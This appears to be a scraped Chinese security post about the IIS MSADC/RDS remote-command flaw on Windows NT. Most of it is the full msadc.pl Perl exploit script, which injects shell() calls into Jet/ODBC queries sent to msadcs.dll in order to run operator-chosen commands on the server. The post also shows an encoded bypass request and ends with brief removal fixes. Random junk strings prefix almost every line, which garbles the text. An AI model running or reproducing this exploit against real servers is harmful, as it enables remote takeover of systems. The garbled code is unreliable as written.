IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!Z+4FwF 2
MFGKz O 涉及程序:
3QlV,)} Microsoft NT server
MRzrZZ%LQ bo^d!/; 描述:
$6\-8zNk 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F0,-7<G 'Oyx
X 详细:
e_3KNQ`kA 如果你没有时间读详细内容的话,就删除:
8SmtEV[b3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
fNz*E|]8& 有关的安全问题就没有了。
99Jk<x
k fJ"#c<n 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
lLD-QO}/ V. sIiE 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
-cW`qWbd 关于利用ODBC远程漏洞的描述,请参看:
9y/gWE K}^Jf; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \@]/ks=K ofeSGx 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Sb_T _m http://www.microsoft.com/security/bulletins/MS99-025faq.asp sD V*k4 9d ZE#l!Q 这里不再论述。
UO-<~DgH Op] L#<&T 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
y?BzZ16\bL C:C9swik"5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
YLc 2:9 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
T*"15ppfk v` 9^?Xw) -!]Ie4" #将下面这段保存为txt文件,然后: "perl -x 文件名"
![O@{/ v] *(Wd~| #!perl
Mp;yvatO #
J:M)gh~# # MSADC/RDS 'usage' (aka exploit) script
N_jCx*.G #
_E({!t"` # by rain.forest.puppy
k&\YfE3* #
z?~W]PWiZ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"z+Z8l1. # beta test and find errors!
IbRy~ ;9cBlthh use Socket; use Getopt::Std;
i?^Cc\gH getopts("e:vd:h:XR", \%args);
mPR(4Ol. {V&
2k9* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
r30t`o12i -"L)<J@gQ? if (!defined $args{h} && !defined $args{R}) {
%I]?xe6 print qq~
Q>gU( Usage: msadc.pl -h <host> { -d <delay> -X -v }
, WF)GS|7V -h <host> = host you want to scan (ip or domain)
)]2yTG[ -d <seconds> = delay between calls, default 1 second
G>hmVd -X = dump Index Server path table, if available
Q
!5P -v = verbose
Gmcx#?|Tx -e = external dictionary file for step 5
c"+N{$ vp Zp|LCE" Or a -R will resume a command session
v2<roG6.V /*GRE#7S ~; exit;}
)=\W
sQ :=#*[H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mfu>j,7l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?i4}[q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]y6`9p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
XezO_V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
HF-Msu6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
QjfQoT F n3{m
"h3 if (!defined $args{R}){ $ret = &has_msadc;
5* 1wQlL die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?V_Qa0k ;??wLNdf- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
uh`@ qmu) . "cmd /c ";
`+b>@2D_ $in=<STDIN>; chomp $in;
n<:/ X tE $command="cmd /c " . $in ;
qQR>z N}\Da:_ if (defined $args{R}) {&load; exit;}
qR < i L1.R+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Co8b0-Z &try_btcustmr;
=K2Dxu_: ' U(v print "\nStep 2: Trying to make our own DSN...";
6wzF6]@O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
. iq.H a34'[R print "\nStep 3: Trying known DSNs...";
G?QFF6)}! &known_dsn;
sZ-]yr\E" @M4~,O6- print "\nStep 4: Trying known .mdbs...";
bIizh8d? &known_mdb;
9#%(%s2+ e#k9}n^+ if (defined $args{e}){
W0$G7s print "\nStep 5: Trying dictionary of DSN names...";
t Zj6=# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?{q w
/& TMG:fg&E~ print "Sorry Charley...maybe next time?\n";
) iy>sa{ exit;
'O`jV0aa' \{da|n- ##############################################################################
OR a!84L k`js~/Xv sub sendraw { # ripped and modded from whisker
MCQ>BP sleep($delay); # it's a DoS on the server! At least on mine...
^Gv<Xl my ($pstr)=@_;
'KQ]7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%R;cXs4r die("Socket problems\n");
X5wS6v)#( if(connect(S,pack "SnA4x8",2,80,$target)){
UVu"meZX select(S); $|=1;
#2DH_P print $pstr; my @in=<S>;
zx(j6 select(STDOUT); close(S);
Yx&cnDx return @in;
~1Tz[\H#R } else { die("Can't connect...\n"); }}
,-CDF)~G=3 8)rv.'A((E ##############################################################################
w0SzK-& LO.4sO sub make_header { # make the HTTP request
h9+ylHW_cp my $msadc=<<EOT
#2ZXYH} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}U'5j/EFZ User-Agent: ACTIVEDATA
{r&M Host: $ip
w^|,[G^}H Content-Length: $clen
ejo4mQ]a Connection: Keep-Alive
-|[_j$g ?xQlX%&`6 ADCClientVersion:01.06
JIb<>X, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&;)~bS( H.idL6*G --!ADM!ROX!YOUR!WORLD!
#j-,#P@ Content-Type: application/x-varg
Y1k/ngH Content-Length: $reqlen
0*3 <} c;U\nC<Y EOT
h| UT/: ; $msadc=~s/\n/\r\n/g;
YfMe69/0I return $msadc;}
F5
LQgK-z -&)^|Atm ##############################################################################
m9G,%]4| sTG+c E sub make_req { # make the RDS request
8~HC0o\2 my ($switch, $p1, $p2)=@_;
1r~lh#_8 my $req=""; my $t1, $t2, $query, $dsn;
=AD/5E,3 1
9
k$)m if ($switch==1){ # this is the btcustmr.mdb query
,dVCbAS@ $query="Select * from Customers where City=" . make_shell();
J+IW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+=k?Dp[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{6%uNT>| Z}NAH`V`:+ elsif ($switch==2){ # this is general make table query
,o9)ohw $query="create table AZZ (B int, C varchar(10))";
rB4#}+Uq $dsn="$p1";}
Vj2GK"$v ,6M-xSDs elsif ($switch==3){ # this is general exploit table query
H<1?<1^ $query="select * from AZZ where C=" . make_shell();
'oT}jI $dsn="$p1";}
_23sIUN c3 G0Wd"AV+ elsif ($switch==4){ # attempt to hork file info from index server
Q|ik\ $query="select path from scope()";
L//sJe $dsn="Provider=MSIDXS;";}
Ap!UX=HBb a^=4'.ok elsif ($switch==5){ # bad query
pRU6jV 6e) $query="select";
4|2$b:t $dsn="$p1";}
:.35pp,0 N"T8
Pt $t1= make_unicode($query);
zr[~wM $t2= make_unicode($dsn);
QIV<!SO $req = "\x02\x00\x03\x00";
.R
gfP'M $req.= "\x08\x00" . pack ("S1", length($t1));
%eV`};9 $req.= "\x00\x00" . $t1 ;
`PW=_f={ $req.= "\x08\x00" . pack ("S1", length($t2));
JxLH]1b $req.= "\x00\x00" . $t2 ;
M:I,j $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,gOQIS56 return $req;}
D46|)- <GNOT"z ##############################################################################
'I<j`)4`d 1|nB\xgu sub make_shell { # this makes the shell() statement
[e}]K: return "'|shell(\"$command\")|'";}
W@ Z=1y EmUxM_T/2 ##############################################################################
>|'6J!Op U3V<ITZI8t sub make_unicode { # quick little function to convert to unicode
CYn}wkz my ($in)=@_; my $out;
Z|/):nVP7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<Z__Q return $out;}
]rN fr- > Qtyw.n ##############################################################################
ho20>vw# <+b: sub rdo_success { # checks for RDO return success (this is kludge)
c:6w >: my (@in) = @_; my $base=content_start(@in);
X3-1)|g !z if($in[$base]=~/multipart\/mixed/){
^KaMi_-- return 1 if( $in[$base+10]=~/^\x09\x00/ );}
CC09:L? return 0;}
:RQ[(zD] #
R&[+1=9j ##############################################################################
(s3%1OC[ -J30g\ sub make_dsn { # this makes a DSN for us
EK#m?O:> my @drives=("c","d","e","f");
9F+bWo_m print "\nMaking DSN: ";
g.]'0)DMW foreach $drive (@drives) {
E+)Go-rS( print "$drive: ";
ye%F <:O7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b910Z?B^L "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|pgkl` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%OtW\T=u $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
OL'=a|g|c return 0 if $2 eq "404"; # not found/doesn't exist
etoE$2c if($2 eq "200") {
0?7uqS#L foreach $line (@results) {
d0=nAZZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~"mZ0E } return 0;}
3k<#;( mqHt%RX ##############################################################################
Ueeay^zN N 93E;B sub verify_exists {
9y5\4&v my ($page)=@_;
V~_nyjrJM my @results=sendraw("GET $page HTTP/1.0\n\n");
f UIs(}US return $results[0];}
SRTpE, 6a?y$+pr ##############################################################################
?R(3O1,v^ ;Wa{q.) sub try_btcustmr {
`Ek !;u> my @drives=("c","d","e","f");
c6HU'%v my @dirs=("winnt","winnt35","winnt351","win","windows");
y]l"u=$Tr{ 6.|~~/ foreach $dir (@dirs) {
c-.>C) print "$dir -> "; # fun status so you can see progress
(M+<^3c foreach $drive (@drives) {
RF J ;hh print "$drive: "; # ditto
MuobMD}jqe $reqlen=length( make_req(1,$drive,$dir) ) - 28;
xu=B $reqlenlen=length( "$reqlen" );
#:|Y(,c $clen= 206 + $reqlenlen + $reqlen;
aAri !_9$[Oq~ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
v-3zav if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
UTQKlwPa else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m GhJn xp&!Cl>C3\ ##############################################################################
>bN~p \.c
)^QQ sub odbc_error {
F}]_/cY7B my (@in)=@_; my $base;
U!/nD~A my $base = content_start(@in);
$3'+V_CZ3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@q/1m~t $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eeU$uR $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;g:bn5G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\+3Wd$I return $in[$base+4].$in[$base+5].$in[$base+6];}
@;fE%N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i grog print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|{)xC= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
io{H$ x( X`n0b< ##############################################################################
yCIgxPv|7 B)]{]z0+` sub verbose {
A+*oT(` my ($in)=@_;
LU,"i^T return if !$verbose;
{p|%hhTK% print STDOUT "\n$in\n";}
ox_h9=$- EQJ_$6 ##############################################################################
1[BvHOI2 h.$__Gs sub save {
6KCmswvE my ($p1, $p2, $p3, $p4)=@_;
IZ0$=aB7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
X8
)>}#: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S<3!oDBs close OUT;}
Gd-.E7CH! g]<Z]R` ##############################################################################
CQHp4_ :6$4K"^1 sub load {
=)- Q?1q my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z'NbHwW} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:{s%=\k {d @p=<IN>; close(IN);
'e>sHL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[A9,!YY $target= inet_aton($ip) || die("inet_aton problems");
Ik5jwfz print "Resuming to $ip ...";
pLQSG}N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
S"^KJUUc if($p[1]==1) {
%<C
G|]W $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
GHJ=-9{YL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
NhoS7 y( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*:T>~ilF if (rdo_success(@results)){print "Success!\n";}
^T&u!{82j else { print "failed\n"; verbose(odbc_error(@results));}}
k,R~oSA'n elsif ($p[1]==3){
*_<*bhR< if(run_query("$p[3]")){
|5IY`;+9 print "Success!\n";} else { print "failed\n"; }}
[Ht."VxR elsif ($p[1]==4){
5Ue^>8- if(run_query($drvst . "$p[3]")){
rrY{Jf9> print "Success!\n"; } else { print "failed\n"; }}
R;E"Qdt exit;}
i9\\evJs HCjn9 ##############################################################################
;2Ad]) SZ2q}[o`R sub create_table {
nG^M 2)(8 my ($in)=@_;
6Sb'Otw. $reqlen=length( make_req(2,$in,"") ) - 28;
BY4 R@) $reqlenlen=length( "$reqlen" );
UiK+c30FU $clen= 206 + $reqlenlen + $reqlen;
V1`5D7Z my @results=sendraw(make_header() . make_req(2,$in,""));
y/}VtD return 1 if rdo_success(@results);
bN4&\d*u# my $temp= odbc_error(@results); verbose($temp);
j,56Lh%1 return 1 if $temp=~/Table 'AZZ' already exists/;
cUZ!;* return 0;}
PF'5z#] NP ) qyx|D ##############################################################################
A:.IBctsd siRnH(^J sub known_dsn {
h#@4@x{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)pS_+ZF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^EUOmVN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
GIC"-l1\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
cPx~|,)l xV,4U/T foreach $dSn (@dsns) {
nG},v% print ".";
DYAwQ"i;6 next if (!is_access("DSN=$dSn"));
?K4.L?D#J if(create_table("DSN=$dSn")){
%89"A'g print "$dSn successful\n";
n~,]KdU] if(run_query("DSN=$dSn")){
AU\xNF3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
B;z>Dd,Y_x print "Something's borked. Use verbose next time\n";}}} print "\n";}
5y(t`Fmt
)l!J$X+R ##############################################################################
wsf Hd<Z_ E?Qz/*'zv sub is_access {
ez^*M:K my ($in)=@_;
QDjW!BsX3 $reqlen=length( make_req(5,$in,"") ) - 28;
7cUR.PI#Q $reqlenlen=length( "$reqlen" );
_@#uIOcE $clen= 206 + $reqlenlen + $reqlen;
Ms:KM{T0 my @results=sendraw(make_header() . make_req(5,$in,""));
%Ye)8+- my $temp= odbc_error(@results);
A;fB6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3@PUg(M return 0;}
vLv|SqD lruF96C/Y ##############################################################################
`W"a!,s2 B_SZ?o sub run_query {
1N!Oslum my ($in)=@_;
_[}G(< $reqlen=length( make_req(3,$in,"") ) - 28;
~^lH ^J $reqlenlen=length( "$reqlen" );
J ?ztn $clen= 206 + $reqlenlen + $reqlen;
"ib K1}- my @results=sendraw(make_header() . make_req(3,$in,""));
Em~7D]Y return 1 if rdo_success(@results);
6[+\CS7Lt my $temp= odbc_error(@results); verbose($temp);
KjFZ return 0;}
>W`S(a Mn aW0u8Dz ##############################################################################
w8 ?Pb$Fe OwG6i|q sub known_mdb {
4ss&'h my @drives=("c","d","e","f","g");
yxaT7Oqh% my @dirs=("winnt","winnt35","winnt351","win","windows");
{E3xI2 my $dir, $drive, $mdb;
z>cIiprX my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%^a]J"Ydi8 y2z{rd # this is sparse, because I don't know of many
0V<Aub[${ my @sysmdbs=( "\\catroot\\icatalog.mdb",
$Cz1C "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Zg)_cRR "\\system32\\certmdb.mdb",
0M$#95n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
A#v|@sul QuSV&>T\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9U#\nXM "\\cfusion\\cfapps\\forums\\forums_.mdb",
;\<""Yj@l "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p//T7rs "\\cfusion\\cfapps\\security\\realm_.mdb",
N@k3$+ls "\\cfusion\\cfapps\\security\\data\\realm.mdb",
TA Ftcs: "\\cfusion\\database\\cfexamples.mdb",
bH'S.RWp= "\\cfusion\\database\\cfsnippets.mdb",
mSU@UD|' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Sp 7u_Pq{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
lbQ6
a "\\cfusion\\brighttiger\\database\\cleam.mdb",
S:/{ "\\cfusion\\database\\smpolicy.mdb",
<e;jWK "\\cfusion\\database\cypress.mdb",
3.Ji5~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
O {PW "\\website\\cgi-win\\dbsample.mdb",
j(0Ilx|7v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
seu
~'s- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
YSqv86 ); #these are just
WHp97S'd foreach $drive (@drives) {
Ee{ `Y0 foreach $dir (@dirs){
D,c!#(v cK foreach $mdb (@sysmdbs) {
]kRI}Om2 print ".";
SXQ@;=]xV if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*%:@
cbF-M print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9z #P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7e1dEgn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
t2"@Ps&1| } else { print "Something's borked. Use verbose next time\n"; }}}}}
LyGUvi DH:J foreach $drive (@drives) {
z(+&wa foreach $mdb (@mdbs) {
F;#zN print ".";
zm3-C%:Bw if(create_table($drv . $drive . $dir . $mdb)){
YnSbw3U.I print "\n" . $drive . $dir . $mdb . " successful\n";
&B}Lo
if(run_query($drv . $drive . $dir . $mdb)){
5B1G?`]? print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
BU!#z(vU } else { print "Something's borked. Use verbose next time\n"; }}}}
os[ZIHph }
s8^~NX(xdy O#vn)+Y,* ##############################################################################
Nu@5 kwH GMz8B-vk sub hork_idx {
.hKhrcQp print "\nAttempting to dump Index Server tables...\n";
0mTEim print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$`pd|K` $reqlen=length( make_req(4,"","") ) - 28;
R<|ejw $reqlenlen=length( "$reqlen" );
W@^J6sH $clen= 206 + $reqlenlen + $reqlen;
f27)v(EJ my @results=sendraw2(make_header() . make_req(4,"",""));
$0#6"urG if (rdo_success(@results)){
\]I my $max=@results; my $c; my %d;
b4CF`BG for($c=19; $c<$max; $c++){
JT04vm4 $results[$c]=~s/\x00//g;
#,&8& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
\QGa4_# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-j&Vtr $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z$|;-u| $d{"$1$2"}="";}
c_#*mA"+ foreach $c (keys %d){ print "$c\n"; }
+oZH?N4yaM } else {print "Index server doesn't seem to be installed.\n"; }}
}z
wX O=aw^|oj] ##############################################################################
G=|70pxU B!}BM}r sub dsn_dict {
MGQ,\55" open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=2%VZE7Vm while(<IN>){
ePEe?o4; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
3C M^j<9 next if (!is_access("DSN=$dSn"));
TGf;_)El if(create_table("DSN=$dSn")){
hU"F;4p print "$dSn successful\n";
|c0, if(run_query("DSN=$dSn")){
0/Z
!5-. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b/u8}
J print "Something's borked. Use verbose next time\n";}}}
|n`PESf_ print "\n"; close(IN);}
zb :kanb- Efx=T$%^& ##############################################################################
{E51Kv&_ pDn&V( sub sendraw2 { # ripped and modded from whisker
fQU{SjG sleep($delay); # it's a DoS on the server! At least on mine...
K(VW%hV1 my ($pstr)=@_;
1`JB)9P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OPuj|%Wgw die("Socket problems\n");
$7NCb7%/L if(connect(S,pack "SnA4x8",2,80,$target)){
% :/_ f print "Connected. Getting data";
SE)nD@: open(OUT,">raw.out"); my @in;
?Vc0) select(S); $|=1; print $pstr;
MQ` %`` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
b7Oj<!Wo` close(OUT); select(STDOUT); close(S); return @in;
u,o1{%O } else { die("Can't connect...\n"); }}
% (<(Y =7
w>wW- ##############################################################################
_TUm$#@Y` !D:Jbt@R<n sub content_start { # this will take in the server headers
RlRs}yF my (@in)=@_; my $c;
,mKObMu for ($c=1;$c<500;$c++) {
,lm=M5b if($in[$c] =~/^\x0d\x0a/){
-V5w]F' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!^WHZv4 else { return $c+1; }}}
4h8*mMghs return -1;} # it should never get here actually
W5SN I>|E z%sy$^v@vD ##############################################################################
{^m Kvc }mk>!B}= sub funky {
e |V] my (@in)=@_; my $error=odbc_error(@in);
sgAzL if($error=~/ADO could not find the specified provider/){
;:]\KJm}? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kOjf #@c exit;}
Ew$I\j* if($error=~/A Handler is required/){
N3%*7{X
9 print "\nServer has custom handler filters (they most likely are patched)\n";
]
fwZAU exit;}
V.=lGhi if($error=~/specified Handler has denied Access/){
S3Y2O
x print "\nServer has custom handler filters (they most likely are patched)\n";
!{Z~<Ky exit;}}
gzdG6" <9eu1^g ##############################################################################
u0
y 1 0*F}o)n/m sub has_msadc {
i9 A ~< my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Y;
).+si my $base=content_start(@results);
$yu?.b
9H# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
wtH~-xSB| return 0;}
27A!\pn l]6%lud8_ ########################
9P WY52! 1m@^E:w FN^FvQ 解决方案:
eQDX:b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k)7{Y9_No 2、移除web 目录: /msadc